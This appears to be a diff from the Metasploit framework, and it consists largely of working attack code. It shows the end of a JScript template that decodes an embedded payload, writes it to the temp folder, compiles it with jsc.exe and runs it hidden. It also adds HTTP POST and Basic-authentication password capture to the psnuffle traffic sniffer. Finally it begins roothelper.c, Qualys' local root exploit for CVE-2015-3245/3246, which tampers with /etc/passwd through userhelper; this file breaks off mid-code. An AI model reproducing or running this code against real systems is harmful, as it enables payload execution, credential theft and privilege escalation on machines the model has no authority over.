|
||||
input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
|
||||
|
||||
while (i < input.length) {
|
||||
|
||||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||||
|
||||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||||
|
||||
output = output + String.fromCharCode(chr1);
|
||||
|
||||
if (enc3 != 64) {
|
||||
output = output + String.fromCharCode(chr2);
|
||||
}
|
||||
if (enc4 != 64) {
|
||||
output = output + String.fromCharCode(chr3);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
output = Base64._utf8_decode(output);
|
||||
|
||||
return output;
|
||||
|
||||
},
|
||||
_utf8_decode : function (utftext) {
|
||||
var string = "";
|
||||
var input_idx = 0;
|
||||
var chr1 = 0;
|
||||
var chr2 = 0;
|
||||
var chr3 = 0;
|
||||
|
||||
while ( input_idx < utftext.length ) {
|
||||
|
||||
chr1 = utftext.charCodeAt(input_idx);
|
||||
|
||||
if (chr1 < 128) {
|
||||
string += String.fromCharCode(chr1);
|
||||
input_idx++;
|
||||
}
|
||||
else if((chr1 > 191) && (chr1 < 224)) {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||||
input_idx += 2;
|
||||
} else {
|
||||
chr2 = utftext.charCodeAt(input_idx+1);
|
||||
chr3 = utftext.charCodeAt(input_idx+2);
|
||||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||||
input_idx += 3;
|
||||
}
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
decodedStr = Base64.decode("<%= jsnet_encoded %>");
|
||||
|
||||
function getTempPath()
|
||||
{
|
||||
var TemporaryFolder = 2;
|
||||
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var tempPath = fso.GetSpecialFolder(TemporaryFolder);
|
||||
|
||||
return tempPath;
|
||||
}
|
||||
|
||||
var path = getTempPath();
|
||||
|
||||
function makefile()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var thefile = fso.CreateTextFile(path + "\\\\<%= fname %>.js", true);
|
||||
|
||||
thefile.WriteLine(decodedStr);
|
||||
thefile.Close();
|
||||
}
|
||||
|
||||
makefile();
|
||||
|
||||
function findJSC()
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
|
||||
var jscPath = "";
|
||||
|
||||
if(!fso.FolderExists(comPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
var frameFolder = fso.GetFolder(comPath);
|
||||
var fEnum = new Enumerator(frameFolder.SubFolders);
|
||||
|
||||
while(!fEnum.atEnd())
|
||||
{
|
||||
jscPath = fEnum.item().Path;
|
||||
|
||||
if(fso.FileExists(jscPath + "\\\\jsc.exe"))
|
||||
{
|
||||
return jscPath + "\\\\jsc.exe";
|
||||
}
|
||||
|
||||
fEnum.moveNext();
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
var comPath = findJSC();
|
||||
if(comPath)
|
||||
{
|
||||
var fso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var objShell = new ActiveXObject("WScript.shell");
|
||||
var js_f = path + "\\\\<%= fname %>.js";
|
||||
var ex = path + "\\\\<%= fname %>.exe";
|
||||
|
||||
objShell.run(comPath + " /out:" + ex + " " + js_f);
|
||||
while(!fso.FileExists(ex)) { }
|
||||
|
||||
objShell.run(ex, 0);
|
||||
}
|
||||
</script>
|
Binary file not shown.
Binary file not shown.
|
@ -1,22 +1,24 @@
|
|||
# Psnuffle password sniffer add-on class for HTTP GET URL's
|
||||
# Psnuffle password sniffer add-on class for HTTP URLs
|
||||
# part of psnuffle sniffer auxiliary module
|
||||
#
|
||||
# Very simple example how to write sniffer extensions
|
||||
#
|
||||
|
||||
# Sniffer class for GET URL's
|
||||
#
|
||||
# Sniffer class for GET/POST URLs.
|
||||
# Also extracts HTTP Basic authentication credentials.
|
||||
#
|
||||
class SnifferURL < BaseProtocolParser
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST\:\s+([^\n\r]+)/i,
|
||||
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
||||
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
||||
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
||||
}
|
||||
end
|
||||
|
||||
def parse(pkt)
|
||||
# We want to return immediantly if we do not have a packet which is handled by us
|
||||
# We want to return immediately if we do not have a packet which is handled by us
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
|
||||
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
||||
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
|
|||
case matched
|
||||
when :webhost
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
if(s[:get])
|
||||
if s[:get]
|
||||
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
end
|
||||
if s[:post]
|
||||
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
|
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
|
|||
end # end of each_key
|
||||
end # end of parse
|
||||
end # end of URL sniffer
|
||||
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,976 @@
|
|||
/*
|
||||
* roothelper.c - an unusual local root exploit against:
|
||||
* CVE-2015-3245 userhelper chfn() newline filtering
|
||||
* CVE-2015-3246 libuser passwd file handling
|
||||
* Copyright (C) 2015 Qualys, Inc.
|
||||
*
|
||||
* gecos_* types and functions inspired by userhelper.c
|
||||
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
|
||||
*
|
||||
* UH_* #defines and comments inspired by userhelper.h
|
||||
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* A maximum GECOS field length. There's no hard limit, so we guess. */
|
||||
#define GECOS_LENGTH 127
|
||||
|
||||
typedef char gecos_field[GECOS_LENGTH];
|
||||
|
||||
/* A structure to hold broken-out GECOS data. The number and names of the
|
||||
* fields are dictated entirely by the flavor of finger we use. Seriously. */
|
||||
struct gecos_data {
|
||||
gecos_field full_name; /* full user name */
|
||||
gecos_field office; /* office */
|
||||
gecos_field office_phone; /* office phone */
|
||||
gecos_field home_phone; /* home phone */
|
||||
gecos_field site_info; /* other stuff */
|
||||
};
|
||||
|
||||
static struct userhelper {
|
||||
struct gecos_data gecos;
|
||||
rlim_t fsizelim;
|
||||
pid_t pid;
|
||||
int fd;
|
||||
} userhelpers[GECOS_LENGTH];
|
||||
|
||||
static void
|
||||
die_in_parent(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
|
||||
fflush(stderr);
|
||||
|
||||
unsigned int i;
|
||||
for (i = 0; i < GECOS_LENGTH; i++) {
|
||||
const pid_t pid = userhelpers[i].pid;
|
||||
if (pid <= 0) continue;
|
||||
kill(pid, SIGKILL);
|
||||
}
|
||||
_exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void
|
||||
die_in_child(const char *const file, const unsigned int line,
|
||||
const char *const function)
|
||||
{
|
||||
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
|
||||
#define die() die_fn(__FILE__, __LINE__, __func__)
|
||||
|
||||
static void *
|
||||
xmalloc(const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const ptr = malloc(size);
|
||||
if (ptr == NULL) die();
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void *
|
||||
xrealloc(void *const old, const size_t size)
|
||||
{
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
void *const new = realloc(old, size);
|
||||
if (new == NULL) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static char *
|
||||
xstrndup(const char *const old, const size_t len)
|
||||
{
|
||||
if (old == NULL) die();
|
||||
if (len >= INT_MAX) die();
|
||||
|
||||
char *const new = strndup(old, len);
|
||||
|
||||
if (new == NULL) die();
|
||||
if (len != strlen(new)) die();
|
||||
return new;
|
||||
}
|
||||
|
||||
static int
|
||||
xsnprintf(char *const str, const size_t size, const char *const format, ...)
|
||||
{
|
||||
if (str == NULL) die();
|
||||
if (size <= 0) die();
|
||||
if (size >= INT_MAX) die();
|
||||
if (format == NULL) die();
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
const int len = vsnprintf(str, size, format, ap);
|
||||
va_end(ap);
|
||||
|
||||
if (len < 0) die();
|
||||
if ((unsigned int)len >= size) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return len;
|
||||
}
|
||||
|
||||
static int
|
||||
xopen(const char *const pathname, const int flags)
|
||||
{
|
||||
if (pathname == NULL) die();
|
||||
if (*pathname != '/') die();
|
||||
if (flags != O_RDONLY) die();
|
||||
|
||||
const int fd = open(pathname, flags);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static const struct flock rdlock = {
|
||||
.l_type = F_RDLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
|
||||
return fd;
|
||||
}
|
||||
|
||||
static void
|
||||
xclose(const int fd)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
static const struct flock unlock = {
|
||||
.l_type = F_UNLCK,
|
||||
.l_whence = SEEK_SET,
|
||||
.l_start = 0,
|
||||
.l_len = 0
|
||||
};
|
||||
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
|
||||
if (close(fd) != 0) die();
|
||||
}
|
||||
|
||||
#define GECOS_BADCHARS ":,=\n"
|
||||
|
||||
/* A simple function to compute the size of a gecos string containing the
|
||||
* data we have. */
|
||||
static size_t
|
||||
gecos_size(const struct gecos_data *const parsed)
|
||||
{
|
||||
if (parsed == NULL) die();
|
||||
|
||||
size_t len = 4; /* commas! */
|
||||
len += strlen(parsed->full_name);
|
||||
len += strlen(parsed->office);
|
||||
len += strlen(parsed->office_phone);
|
||||
len += strlen(parsed->home_phone);
|
||||
len += strlen(parsed->site_info);
|
||||
len++;
|
||||
return len;
|
||||
}
|
||||
|
||||
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
|
||||
Note that the parsing is performed using the convention obeyed by BSDish
|
||||
finger(1) under Linux. */
|
||||
static void
|
||||
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
|
||||
{
|
||||
if (gecos == NULL) die();
|
||||
if (strlen(gecos) >= INT_MAX) die();
|
||||
|
||||
if (parsed == NULL) die();
|
||||
memset(parsed, 0, sizeof(*parsed));
|
||||
|
||||
unsigned int i;
|
||||
const char *field = gecos;
|
||||
|
||||
for (i = 0; ; i++) {
|
||||
const char *field_end = strchrnul(field, ',');
|
||||
gecos_field *dest = NULL;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
dest = &parsed->full_name;
|
||||
break;
|
||||
case 1:
|
||||
dest = &parsed->office;
|
||||
break;
|
||||
case 2:
|
||||
dest = &parsed->office_phone;
|
||||
break;
|
||||
case 3:
|
||||
dest = &parsed->home_phone;
|
||||
break;
|
||||
case 4:
|
||||
// msf note: changed `rawmemchar` to `memchr` for cross-compile
|
||||
//field_end = rawmemchr(field_end, '\0');
|
||||
field_end = memchr(field_end, '\0', 16);
|
||||
dest = &parsed->site_info;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
const size_t field_len = field_end - field;
|
||||
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
|
||||
if (strlen(*dest) != field_len) die();
|
||||
|
||||
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
|
||||
|
||||
if (*field_end == '\0') break;
|
||||
field = field_end + 1;
|
||||
}
|
||||
if (gecos_size(parsed) > GECOS_LENGTH) die();
|
||||
}
|
||||
|
||||
/* Assemble a new gecos string. */
|
||||
static const char *
|
||||
gecos_assemble(const struct gecos_data *const parsed)
|
||||
{
|
||||
static char ret[GECOS_LENGTH];
|
||||
size_t i;
|
||||
|
||||
if (parsed == NULL) die();
|
||||
/* Construct the basic version of the string. */
|
||||
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
|
||||
parsed->full_name,
|
||||
parsed->office,
|
||||
parsed->office_phone,
|
||||
parsed->home_phone,
|
||||
parsed->site_info);
|
||||
/* Strip off terminal commas. */
|
||||
i = strlen(ret);
|
||||
while ((i > 0) && (ret[i - 1] == ',')) {
|
||||
ret[i - 1] = '\0';
|
||||
i--;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Descriptors used to communicate between userhelper and consolhelper. */
|
||||
#define UH_INFILENO 3
|
||||
#define UH_OUTFILENO 4
|
||||
|
||||
/* Userhelper request format:
|
||||
request code as a single character,
|
||||
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
|
||||
request data
|
||||
'\n' */
|
||||
#define UH_REQUEST_SIZE_DIGITS 8
|
||||
|
||||
/* Synchronization point code. */
|
||||
#define UH_SYNC_POINT 32
|
||||
|
||||
/* Valid userhelper request codes. */
|
||||
#define UH_ECHO_ON_PROMPT 34
|
||||
#define UH_ECHO_OFF_PROMPT 35
|
||||
#define UH_EXPECT_RESP 39
|
||||
#define UH_SERVICE_NAME 40
|
||||
#define UH_USER 42
|
||||
|
||||
/* Consolehelper response format:
|
||||
response code as a single character,
|
||||
response data
|
||||
'\n' */
|
||||
|
||||
/* Consolehelper response codes. */
|
||||
#define UH_TEXT 33
|
||||
|
||||
/* Valid userhelper error codes. */
|
||||
#define ERR_UNK_ERROR 255 /* unknown error */
|
||||
|
||||
/* Paths, flag names, and other stuff. */
|
||||
#define UH_PATH "/usr/sbin/userhelper"
|
||||
#define UH_FULLNAME_OPT "-f"
|
||||
#define UH_OFFICE_OPT "-o"
|
||||
#define UH_OFFICEPHONE_OPT "-p"
|
||||
#define UH_HOMEPHONE_OPT "-h"
|
||||
|
||||
static char
|
||||
read_request(const int fd, char *const data, const size_t size)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (data == NULL) die();
|
||||
if (size >= INT_MAX) die();
|
||||
|
||||
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
|
||||
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
|
||||
header[sizeof(header)-1] = '\0';
|
||||
|
||||
errno = 0;
|
||||
char *endptr = NULL;
|
||||
const unsigned long len = strtoul(&header[1], &endptr, 10);
|
||||
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
|
||||
|
||||
if (len >= size) die();
|
||||
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
|
||||
if (data[len] != '\n') die();
|
||||
data[len] = '\0';
|
||||
|
||||
if (strlen(data) != len) die();
|
||||
if (strchr(data, '\n') != NULL) die();
|
||||
return header[0];
|
||||
}
|
||||
|
||||
static void
|
||||
send_reply(const int fd, const unsigned char type, const char *const data)
|
||||
{
|
||||
if (fd <= -1) die();
|
||||
if (!isascii(type)) die();
|
||||
if (!isprint(type)) die();
|
||||
if (data == NULL) die();
|
||||
if (strpbrk(data, "\r\n") != NULL) die();
|
||||
|
||||
char buf[BUFSIZ];
|
||||
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
|
||||
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
|
||||
}
|
||||
|
||||
#define ETCDIR "/etc"
|
||||
#define PASSWD "/etc/passwd"
|
||||
#define BACKUP "/etc/passwd-"
|
||||
|
||||
static struct {
|
||||
char username[64];
|
||||
char password[64];
|
||||
struct gecos_data gecos;
|
||||
} my;
|
||||
|
||||
static volatile sig_atomic_t is_child_dead;
|
||||
|
||||
static void
|
||||
sigchild_handler(const int signum __attribute__ ((__unused__)))
|
||||
{
|
||||
is_child_dead = true;
|
||||
}
|
||||
|
||||
static int
|
||||
wait_for_userhelper(struct userhelper *const uh, const int options)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid <= 0) die();
|
||||
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
|
||||
|
||||
int status;
|
||||
for (;;) {
|
||||
const pid_t pid = waitpid(uh->pid, &status, options);
|
||||
if (pid == uh->pid) break;
|
||||
if (pid > 0) _exit(255);
|
||||
|
||||
if (pid != -1) die();
|
||||
if (errno != EINTR) die();
|
||||
}
|
||||
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
|
||||
return status;
|
||||
}
|
||||
|
||||
static void
|
||||
forkstop_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->pid != 0) die();
|
||||
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
|
||||
|
||||
struct rlimit fsize;
|
||||
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
if (uh->fsizelim > fsize.rlim_max) die();
|
||||
if (uh->fsizelim <= 0) die();
|
||||
fsize.rlim_cur = uh->fsizelim;
|
||||
|
||||
cpu_set_t old_cpus;
|
||||
CPU_ZERO(&old_cpus);
|
||||
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
|
||||
{ const int cpu = sched_getcpu();
|
||||
if (cpu >= CPU_SETSIZE) die();
|
||||
if (cpu < 0) die();
|
||||
cpu_set_t new_cpus;
|
||||
CPU_ZERO(&new_cpus);
|
||||
CPU_SET(cpu, &new_cpus);
|
||||
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
|
||||
|
||||
int sv[2];
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
|
||||
|
||||
if (is_child_dead) die();
|
||||
static const struct sigaction sigchild_action = {
|
||||
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
|
||||
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
|
||||
|
||||
uh->pid = fork();
|
||||
if (uh->pid <= -1) die();
|
||||
|
||||
if (uh->pid == 0) {
|
||||
die_fn = die_in_child;
|
||||
if (close(sv[1]) != 0) die();
|
||||
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
|
||||
if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
|
||||
|
||||
const int devnull_fd = open("/dev/null", O_RDWR);
|
||||
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
|
||||
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
|
||||
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
|
||||
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
|
||||
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
|
||||
|
||||
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
|
||||
static const struct sched_param sched_param = { .sched_priority = 0 };
|
||||
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
|
||||
|
||||
char *const argv[] = { UH_PATH,
|
||||
UH_FULLNAME_OPT, uh->gecos.full_name,
|
||||
UH_OFFICE_OPT, uh->gecos.office,
|
||||
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
|
||||
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
|
||||
NULL };
|
||||
char *const envp[] = { NULL };
|
||||
execve(UH_PATH, argv, envp);
|
||||
die();
|
||||
}
|
||||
if (die_fn != die_in_parent) die();
|
||||
if (close(sv[0]) != 0) die();
|
||||
uh->fd = sv[1];
|
||||
|
||||
unsigned long expected_responses = 0;
|
||||
for (;;) {
|
||||
char data[BUFSIZ];
|
||||
const char type = read_request(uh->fd, data, sizeof(data));
|
||||
if (type == UH_SYNC_POINT) break;
|
||||
|
||||
switch (type) {
|
||||
case UH_USER:
|
||||
if (strcmp(data, my.username) != 0) die();
|
||||
break;
|
||||
case UH_SERVICE_NAME:
|
||||
if (strcmp(data, "chfn") != 0) die();
|
||||
break;
|
||||
case UH_ECHO_ON_PROMPT:
|
||||
case UH_ECHO_OFF_PROMPT:
|
||||
if (++expected_responses == 0) die();
|
||||
break;
|
||||
case UH_EXPECT_RESP:
|
||||
if (strtoul(data, NULL, 10) != expected_responses) die();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (expected_responses != 1) die();
|
||||
|
||||
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
|
||||
const int inotify_fd = inotify_init();
|
||||
if (inotify_fd <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
|
||||
IN_OPEN) <= -1) die();
|
||||
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
|
||||
if (errno != ENOENT) die();
|
||||
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
|
||||
}
|
||||
|
||||
send_reply(uh->fd, UH_TEXT, my.password);
|
||||
send_reply(uh->fd, UH_SYNC_POINT, "");
|
||||
if (close(uh->fd) != 0) die();
|
||||
uh->fd = -1;
|
||||
|
||||
unsigned int state = 0;
|
||||
static const uint32_t transition[] = { IN_CLOSE_WRITE,
|
||||
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
|
||||
for (;;) {
|
||||
if (is_child_dead) die();
|
||||
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
|
||||
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
|
||||
if (is_child_dead) die();
|
||||
|
||||
if (_buflen <= 0) die();
|
||||
size_t buflen = _buflen;
|
||||
if (buflen > sizeof(buffer)) die();
|
||||
|
||||
struct inotify_event *ep;
|
||||
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
|
||||
ep = (struct inotify_event *)(ep->name + ep->len)) {
|
||||
buflen -= sizeof(*ep);
|
||||
|
||||
if (ep->len > 0) {
|
||||
if (buflen < ep->len) die();
|
||||
buflen -= ep->len;
|
||||
if ((ep->mask & IN_CREATE) == 0) die();
|
||||
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
|
||||
continue;
|
||||
}
|
||||
if (ep->len != 0) die();
|
||||
while ((ep->mask & transition[state]) != 0) {
|
||||
ep->mask &= ~transition[state++];
|
||||
if (transition[state] == 0) goto stop_userhelper;
|
||||
}
|
||||
}
|
||||
if (buflen != 0) die();
|
||||
}
|
||||
stop_userhelper:
|
||||
if (kill(uh->pid, SIGSTOP) != 0) die();
|
||||
if (close(inotify_fd) != 0) die();
|
||||
|
||||
const int status = wait_for_userhelper(uh, WUNTRACED);
|
||||
if (!WIFSTOPPED(status)) die();
|
||||
if (WSTOPSIG(status) != SIGSTOP) die();
|
||||
|
||||
xclose(lpasswd_fd);
|
||||
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
|
||||
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
continue_userhelper(struct userhelper *const uh)
|
||||
{
|
||||
if (uh == NULL) die();
|
||||
if (uh->fd != -1) die();
|
||||
if (uh->pid <= 0) die();
|
||||
|
||||
if (kill(uh->pid, SIGCONT) != 0) die();
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, WCONTINUED);
|
||||
if (!WIFCONTINUED(status)) die(); }
|
||||
|
||||
{ const int status = wait_for_userhelper(uh, 0);
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) !=
|
||||
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
|
||||
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
}
|
||||
|
||||
static void
|
||||
create_backup_of_passwd_file(void)
|
||||
{
|
||||
char backup[] = "/tmp/passwd-XXXXXX";
|
||||
const mode_t prev_umask = umask(077);
|
||||
const int ofd = mkstemp(backup);
|
||||
(void) umask(prev_umask);
|
||||
if (ofd <= -1) die();
|
||||
|
||||
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
|
||||
const int ifd = xopen(PASSWD, O_RDONLY);
|
||||
for (;;) {
|
||||
char buf[BUFSIZ];
|
||||
const ssize_t len = read(ifd, buf, sizeof(buf));
|
||||
if (len == 0) break;
|
||||
if (len <= 0) die();
|
||||
if (write(ofd, buf, len) != len) die();
|
||||
}
|
||||
xclose(ifd);
|
||||
if (close(ofd) != 0) die();
|
||||
}
|
||||
|
||||
static void
|
||||
delete_lines_from_passwd_file(void)
|
||||
{
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
|
||||
if (fullname_max >= GECOS_LENGTH) die();
|
||||
if (fullname_max <= 0) die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
|
||||
char *contents = NULL;
|
||||
for (;;) {
|
||||
struct stat st;
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= INT_MAX) die();
|
||||
if (st.st_size <= 0) die();
|
||||
|
||||
contents = xrealloc(contents, st.st_size + 1);
|
||||
if (read(fd, contents, st.st_size) != st.st_size) die();
|
||||
contents[st.st_size] = '\0';
|
||||
xclose(fd);
|
||||
|
||||
const char *cp = strstr(contents, fragment);
|
||||
if (cp == NULL) die();
|
||||
cp = strchr(cp + 2, '\n');
|
||||
if (cp == NULL) die();
|
||||
if (cp[1] == '\0') break;
|
||||
|
||||
char *const tp = contents + st.st_size-1;
|
||||
*tp = '\0';
|
||||
if (tp <= cp) die();
|
||||
if (tp - cp > fullname_max) cp = tp - fullname_max;
|
||||
cp = strpbrk(cp, "\n:, ");
|
||||
if (cp == NULL) die();
|
||||
|
||||
const ssize_t fullname_len = tp - cp;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len <= 0) die();
|
||||
|
||||
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
|
||||
|
||||
struct userhelper *const uh = &userhelpers[0];
|
||||
memset(uh->gecos.full_name, 'A', fullname_len);
|
||||
uh->fsizelim = st.st_size;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh);
|
||||
}
|
||||
free(contents);
|
||||
}
|
||||
|
||||
static size_t passwd_fsize;
|
||||
static int generate_userhelpers(const char *);
|
||||
#define IS_USER_LAST "last user in passwd file?"
|
||||
|
||||
static char candidate_users[256];
|
||||
static char superuser_elect;
|
||||
|
||||
int
|
||||
